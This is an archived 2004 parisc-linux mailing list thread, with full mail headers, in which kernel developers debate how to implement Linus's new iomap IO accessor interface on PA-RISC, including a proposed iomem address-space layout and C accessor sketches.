X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24915

On Fri, Sep 17, 2004 at 01:46:12PM +0100, Matthew Wilcox wrote:
> Shortly after 2.6.9-rc2, Linus introduced a new way of accessing IO devices
> called iomap.  This gives us the opportunity to overhaul our device IO
> accessors.  Let's go over how this works:
> 
> There are various ways to get hold of an iomem cookie, such as calling
> pci_iomap() or ioport_map().  One then passes this cookie to a different
> set of functions ioread8(), ioread16(), ioread32(), iowrite8(),
> iowrite16() and iowrite32().  When one is done with it, one calls something
> like pci_iounmap() or ioport_unmap().

Interesting. I'm not sure this new scheme provides any special hooks
that we can't already do today.
Did Linus write why he wants iomap? Have a URL handy?

I don't like IO Port space being mixed with MMIO space.
But I guess that's the point of Linus' new scheme - drivers can
use either one with the same accessors. He's pushing the
indirection from the drivers to the platform support.

The problem with this scheme are the semantics are slightly
different for IO Port vs MMIO. IO Port space is "non-Postable"
for writes and MMIO space is "Postable". The former must stall
the CPU. Because of this, drivers can be written for MMIO space
and then seamlessly switch to IO Port space.
But the converse is usually not true.

I'm only aware of a few drivers that attempt to support both
address spaces in one binary. A few make it a compile time option.

iomap would make it easier to completely drop IO port space support
in the future when no driver in a given system needs it.
But I didn't think it was hard to do currently.

> There are several cases we have to be able to handle.  Obviously,
> we have to handle PCI/EISA/ISA io memory and PCI/EISA/ISA io ports.
> It'd also be good to handle native PA io memory.  I'd like to resurrect
> the USE_HPPA_IOREMAP code that Helge worked on at one point (it's really
> time to do away with the rsm/mtsm around byte loads/stores).

Yes - I forgot readb/readw don't have PARISC instructions to
do "absolute" accesses.

Moving to virtually mapped address would be a win for byte/short
accesses. But I don't consider those performance path either.
Access to any type of IO is 20-100X slower than rsm/mtsm.

> So here's the hardware constraints.  All the EISA and PCI adapters map
> IO memory space into PA memory space, but we have to do byte swapping.

[ insert paragraph break - discuss MMIO and IO Port accessors seperately
since they have different mechanisms and semantics ]

> The EISA adapter maps IO port space into PA memory space, but does so in
> such a convoluted way that we may not be able to fulfill a request for
> a contiguous chunk of ports.  The Dino PCI adapter requires reads and writes
> to control registers to access port space.  Astro-based systems have a
> dense mapping for IO ports into memory ... but sometimes require
> additional hacks to work around bugs.  PAT-based systems have a sparse
> mapping for IO ports into memory, but require an additional read to flush
> the write.

The mechanism to access IO port space varies more by chipset than
by firmware. The firmware might happen to advertise an alternate
"view" of IO Port space. And PAT PDC support falls into the
"we have to do this different for 64-bit" bucket.

> 
> Phew.  OK.  How to make that lot work?  Well .. looks to me like we want:
> 
> /*
>  * Technically, this should be 'if (VMALLOC_START < addr < VMALLOC_END),
>  * but that's slow and we know it'll be within the first 2GB.
>  */
> #define INDIRECT_ADDR(addr)     (((unsigned long)(addr) & 0x80000000) != 0)

AFAIK, all machines capable of running 32-bit kernel, use *ONLY* the
top 256MB (F-space) of address space for IO.
I think the 32-bit implementation could be tightened up to be 

#define INDIRECT_ADDR(addr)     (((unsigned long)(addr) & 0xf0000000UL) != 0xf0000000UL)

The 64-bit kernel implementation is going to be uglier.
It will have to support 2GB LMMIO and GMMIO as well.
(GMMIO are IO addresses > 4GB and live above 4GB CPU address as well).

> static inline int ioread16(void __iomem *addr)
> {
>         if (unlikely(INDIRECT_ADDR(addr)))
>                 return __ioread16(addr);
>         return le16_to_cpup((u16 *)addr);
> }
> 
> This should be a test, a non-executed branch and a load in the direct-load
> case.

plus 3 instructions for the swap (for 32 bit).

> Then __ioread16() can look something like ... 
> 
> struct iomem_ops {
>         int (*read8)(void __iomem *addr);
>         int (*read16)(void __iomem *addr);
>         int (*read32)(void __iomem *addr);
>         void (*write8)(u8, void __iomem *addr);
>         void (*write16)(u16, void __iomem *addr);
>         void (*write32)(u32, void __iomem *addr);
> };
> 
> struct iomem_ops *iomem_ops[8]; 
> 
> #define ADDR_TO_REGION(addr)    (((unsigned long)addr >> 28) & 7)
> 
> int __ioread16(void __iomem *addr)
> {
>         return iomem_ops[ADDR_TO_REGION(addr)]->read16(addr);
> }
> 
> That gives us 256MB of io space in each handler, and 8 possible handlers.
> Anything that can be directly mapped like PCI io memory will be, and therefore
> much quicker than the current io port ops mess.

Not really. Besides, difference between the proposed scheme and the
existing scheme will not be measurable.

>   We'll need handlers for:
> 
> 0 -- ISA/EISA port space that isn't contiguous
> 1 -- PCI port space for Dino
> 2 -- PCI port space for Astro w/Elroy < 2.2
> 3 -- PCI port space for PAT PDC
> 4 -- Non-byteswapped GSC IO memory
> 7 -- Legacy drivers that are passing an old-style readX() cookie to the
>      new-style ioreadX() functions.  Doh.

So basically you want to alias all of 32-bit address into 512MB chunks.
Each "region" maps to a particular accessor.

> Note that these interfaces give us the opportunity to do much more work
> at IO map time, and much less mucking around at IO access time.  The
> design here is clearly 32-bit centric, but the macros can be ifdeffed to
> work differently on 64-bit.
> 
> Comments, suggestions, alternative designs?

Overall, I think it can be made to work.

But I'm not convinced it's worth turning the world upside down for.
If you think it's significantly better, go for it.

Personally, I think the work you, jejb, and tausq are doing for
cache/TLB flushing means alot more in terms of performance.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The new iomap interface
Date: Fri, 17 Sep 2004 17:50:31 +0100
Lines: 93
Approved: news@gmane.org
Message-ID: <20040917165031.GT642@parcelfarce.linux.theplanet.co.uk>
References: <20040917124612.GS642@parcelfarce.linux.theplanet.co.uk>
	<20040917162430.GA7984@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624476 25745 80.91.229.3 (22 Nov 2014 02:47:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:56 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 3423 invoked by uid 65534); 17 Sep 2004 16:51:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx021) with SMTP; 17 Sep 2004 18:51:28 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 37FEE3BE49; Fri, 17 Sep 2004 10:50:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06489-02; Fri, 17 Sep 2004 10:50:54 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 787103BE12; Fri, 17 Sep 2004 10:50:40 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DB5713BDFD
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Sep 2004 10:50:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 06251-04 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Sep 2004 10:50:34 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id A828D3BDEA
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Sep 2004 10:50:34 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 1E91549474D; Fri, 17 Sep 2004 10:50:34 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252]) by palinux.hppa (Postfix) with ESMTP
	id 02F3449418F; Fri, 17 Sep 2004 10:50:32 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1C8LwN-0007JG-GN; Fri, 17 Sep 2004 17:50:31 +0100
Content-Disposition: inline
In-Reply-To: <20040917162430.GA7984@colo.lackof.org>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24916

On Fri, Sep 17, 2004 at 10:24:30AM -0600, Grant Grundler wrote:
> Interesting. I'm not sure this new scheme provides any special hooks
> that we can't already do today.
> Did Linus write why he wants iomap? Have a URL handy?

Not really, it just kind of appeared.  There's an explanatory post
rather after the fact from Linus here:
http://www.ussg.iu.edu/hypermail/linux/kernel/0409.1/2561.html

> The problem with this scheme are the semantics are slightly
> different for IO Port vs MMIO. IO Port space is "non-Postable"
> for writes and MMIO space is "Postable". The former must stall
> the CPU. Because of this, drivers can be written for MMIO space
> and then seamlessly switch to IO Port space.
> But the converse is usually not true.

There's still quibbling over the semantics one is entitled to assume
with the new ioreadX() functions.  It's possible they may end up being
closer to readX_relaxed() than readX(), but they're certainly not entitled
to assume port semantics.

> The mechanism to access IO port space varies more by chipset than
> by firmware. The firmware might happen to advertise an alternate
> "view" of IO Port space. And PAT PDC support falls into the
> "we have to do this different for 64-bit" bucket.

I'm using your terminology, dude :-P  See drivers/parisc/lba_pci.c
We have "astro" and "pat" port io accessors.

> > Phew.  OK.  How to make that lot work?  Well .. looks to me like we want:
> > 
> > /*
> >  * Technically, this should be 'if (VMALLOC_START < addr < VMALLOC_END),
> >  * but that's slow and we know it'll be within the first 2GB.
> >  */
> > #define INDIRECT_ADDR(addr)     (((unsigned long)(addr) & 0x80000000) != 0)
> 
> AFAIK, all machines capable of running 32-bit kernel, use *ONLY* the
> top 256MB (F-space) of address space for IO.
> I think the 32-bit implementation could be tightened up to be 
> 
> #define INDIRECT_ADDR(addr)     (((unsigned long)(addr) & 0xf0000000UL) != 0xf0000000UL)

Oops, domain violation ;-)
You're thinking about *physical* pointers, not ones returned from ioremap().
ioremap() returns a pointer that is inside the VMALLOC range.  I tried to
make that clear in the comment above.

> plus 3 instructions for the swap (for 32 bit).

Sure, but that's the same as today.

> So basically you want to alias all of 32-bit address into 512MB chunks.
> Each "region" maps to a particular accessor.

Basically, we have a new address space.  In addition to the physical
(cat /proc/iomem), the virtual kernel (erm, is this documented anywhere?)
and the virtual user address spaces, we now have an iomem address space.
The proposed layout is:

00000000-7fffffff virtual mapped IO
80000000-8fffffff ISA/EISA port space
90000000-9fffffff Dino port space
a0000000-afffffff Astro port space
b0000000-bfffffff PAT port space
c0000000-cfffffff non-swapped memory IO
f0000000-ffffffff legacy IO pointers

> But I'm not convinced it's worth turning the world upside down for.
> If you think it's significantly better, go for it.

We have to support the new iomap interface _somehow_.  I just saw this as
an opportunity to overhaul our existing mmio interface and a chance to
speed up some of the port ops.

> Personally, I think the work you, jejb, and tausq are doing for
> cache/TLB flushing means alot more in terms of performance.

You give me too much credit -- I don't work on that at all ;-)

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] The new iomap interface
Date: Fri, 17 Sep 2004 13:46:12 +0100
Lines: 98
Approved: news@gmane.org
Message-ID: <20040917124612.GS642@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624476 25748 80.91.229.3 (22 Nov 2014 02:47:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:56 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 3822 invoked by uid 65534); 17 Sep 2004 12:47:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx051) with SMTP; 17 Sep 2004 14:47:03 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5583D3BE73; Fri, 17 Sep 2004 06:46:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03448-10; Fri, 17 Sep 2004 06:46:35 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id BD4A53BE60; Fri, 17 Sep 2004 06:46:19 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 161223BDEA
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Sep 2004 06:46:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 03448-06 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Sep 2004 06:46:15 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id D1DBF3BDCE
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Sep 2004 06:46:14 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 65BA5494747; Fri, 17 Sep 2004 06:46:14 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252]) by palinux.hppa (Postfix) with ESMTP id 9781C49418F
	for <parisc-linux@parisc-linux.org>;
	Fri, 17 Sep 2004 06:46:13 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1C8I7w-0007lP-9Q
	for parisc-linux@parisc-linux.org; Fri, 17 Sep 2004 13:46:12 +0100
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24917


Shortly after 2.6.9-rc2, Linus introduced a new way of accessing IO devices
called iomap.  This gives us the opportunity to overhaul our device IO
accessors.  Let's go over how this works:

There are various ways to get hold of an iomem cookie, such as calling
pci_iomap() or ioport_map().  One then passes this cookie to a different
set of functions ioread8(), ioread16(), ioread32(), iowrite8(),
iowrite16() and iowrite32().  When one is done with it, one calls something
like pci_iounmap() or ioport_unmap().

There are several cases we have to be able to handle.  Obviously,
we have to handle PCI/EISA/ISA io memory and PCI/EISA/ISA io ports.
It'd also be good to handle native PA io memory.  I'd like to resurrect
the USE_HPPA_IOREMAP code that Helge worked on at one point (it's really
time to do away with the rsm/mtsm around byte loads/stores).

So here's the hardware constraints.  All the EISA and PCI adapters map
IO memory space into PA memory space, but we have to do byte swapping.
The EISA adapter maps IO port space into PA memory space, but does so in
such a convoluted way that we may not be able to fulfill a request for
a contiguous chunk of ports.  The Dino PCI adapter requires reads and writes
to control registers to access port space.  Astro-based systems have a
dense mapping for IO ports into memory ... but sometimes require
additional hacks to work around bugs.  PAT-based systems have a sparse
mapping for IO ports into memory, but require an additional read to flush
the write.

Phew.  OK.  How to make that lot work?  Well .. looks to me like we want:

/*
 * Technically, this should be 'if (VMALLOC_START < addr < VMALLOC_END),
 * but that's slow and we know it'll be within the first 2GB.
 */
#define INDIRECT_ADDR(addr)     (((unsigned long)(addr) & 0x80000000) != 0)

static inline int ioread16(void __iomem *addr)
{
        if (unlikely(INDIRECT_ADDR(addr)))
                return __ioread16(addr);
        return le16_to_cpup((u16 *)addr);
}

This should be a test, a non-executed branch and a load in the direct-load
case.

Then __ioread16() can look something like ... 

struct iomem_ops {
        int (*read8)(void __iomem *addr);
        int (*read16)(void __iomem *addr);
        int (*read32)(void __iomem *addr);
        void (*write8)(u8, void __iomem *addr);
        void (*write16)(u16, void __iomem *addr);
        void (*write32)(u32, void __iomem *addr);
};

struct iomem_ops *iomem_ops[8]; 

#define ADDR_TO_REGION(addr)    (((unsigned long)addr >> 28) & 7)

int __ioread16(void __iomem *addr)
{
        return iomem_ops[ADDR_TO_REGION(addr)]->read16(addr);
}

That gives us 256MB of io space in each handler, and 8 possible handlers.
Anything that can be directly mapped like PCI io memory will be, and therefore
much quicker than the current io port ops mess.  We'll need handlers for:

0 -- ISA/EISA port space that isn't contiguous
1 -- PCI port space for Dino
2 -- PCI port space for Astro w/Elroy < 2.2
3 -- PCI port space for PAT PDC
4 -- Non-byteswapped GSC IO memory
7 -- Legacy drivers that are passing an old-style readX() cookie to the
     new-style ioreadX() functions.  Doh.

Note that these interfaces give us the opportunity to do much more work
at IO map time, and much less mucking around at IO access time.  The
design here is clearly 32-bit centric, but the macros can be ifdeffed to
work differently on 64-bit.

Comments, suggestions, alternative designs?

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The new iomap interface
Date: Fri, 17 Sep 2004 12:17:19 -0600
Lines: 91
Approved: news@gmane.org
Message-ID: <20040917181719.GB7984@colo.lackof.org>
References: <20040917124612.GS642@parcelfarce.linux.theplanet.co.uk>
	<20040917162430.GA7984@colo.lackof.org>
	<20040917165031.GT642@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624476 25754 80.91.229.3 (22 Nov 2014 02:47:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:56 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 15675 invoked by uid 65534); 17 Sep 2004 18:18:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx026) with SMTP; 17 Sep 2004 20:18:11 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 2BDAA3BE0E; Fri, 17 Sep 2004 12:17:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07413-02; Fri, 17 Sep 2004 12:17:43 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 59A3D3BE3E; Fri, 17 Sep 2004 12:17:28 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AD7EF3BDFD
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Sep 2004 12:17:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 07055-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Sep 2004 12:17:22 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 7509E3BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Sep 2004 12:17:22 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id DBE1B49474D; Fri, 17 Sep 2004 12:17:21 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP
	id 3D64549418F; Fri, 17 Sep 2004 12:17:21 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 8C35E298111; Fri, 17 Sep 2004 12:17:20 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11907-04; Fri, 17 Sep 2004 12:17:19 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 530A729810E; Fri, 17 Sep 2004 12:17:19 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20040917165031.GT642@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24918

On Fri, Sep 17, 2004 at 05:50:31PM +0100, Matthew Wilcox wrote:
> On Fri, Sep 17, 2004 at 10:24:30AM -0600, Grant Grundler wrote:
> > Interesting. I'm not sure this new scheme provides any special hooks
> > that we can't already do today.
> > Did Linus write why he wants iomap? Have a URL handy?
> 
> Not really, it just kind of appeared.  There's an explanatory post
> rather after the fact from Linus here:
> http://www.ussg.iu.edu/hypermail/linux/kernel/0409.1/2561.html

Ah ok. Type checking. Excellent reason.
My guess was close in that devices drivers which access both IO Port
and MMIO space in a single binary are the root "problem" this fixes.

> There's still quibbling over the semantics one is entitled to assume
> with the new ioreadX() functions.  It's possible they may end up being
> closer to readX_relaxed() than readX(), but they're certainly not entitled
> to assume port semantics.

Well, I hope not too close to readX_relaxed() since that really violates
existing PCI ordering rules. As noted in previous email jejb cc'd me on,
AFAIK, readX_relaxed() is only useful on SGI Altix boxes.

> I'm using your terminology, dude :-P  See drivers/parisc/lba_pci.c
> We have "astro" and "pat" port io accessors.

heh - PAT PDC is only enabled for 64-bit kernels.
So the 32/64 bit split still works best.

> > AFAIK, all machines capable of running 32-bit kernel, use *ONLY* the
> > top 256MB (F-space) of address space for IO.
> > I think the 32-bit implementation could be tightened up to be 
> > 
> > #define INDIRECT_ADDR(addr)     (((unsigned long)(addr) & 0xf0000000UL) != 0xf0000000UL)
> 
> Oops, domain violation ;-)
> You're thinking about *physical* pointers, not ones returned from ioremap().

Yes - sorry

> ioremap() returns a pointer that is inside the VMALLOC range.  I tried to
> make that clear in the comment above.

You did - I just got confused thinking about 32 vs 64bit.

> > So basically you want to alias all of 32-bit address into 512MB chunks.
> > Each "region" maps to a particular accessor.
> 
> Basically, we have a new address space.  In addition to the physical
> (cat /proc/iomem), the virtual kernel (erm, is this documented anywhere?)
> and the virtual user address spaces, we now have an iomem address space.
> The proposed layout is:
> 
> 00000000-7fffffff virtual mapped IO
> 80000000-8fffffff ISA/EISA port space
> 90000000-9fffffff Dino port space
> a0000000-afffffff Astro port space
> b0000000-bfffffff PAT port space
> c0000000-cfffffff non-swapped memory IO
> f0000000-ffffffff legacy IO pointers

I see. This looks good.

> > But I'm not convinced it's worth turning the world upside down for.
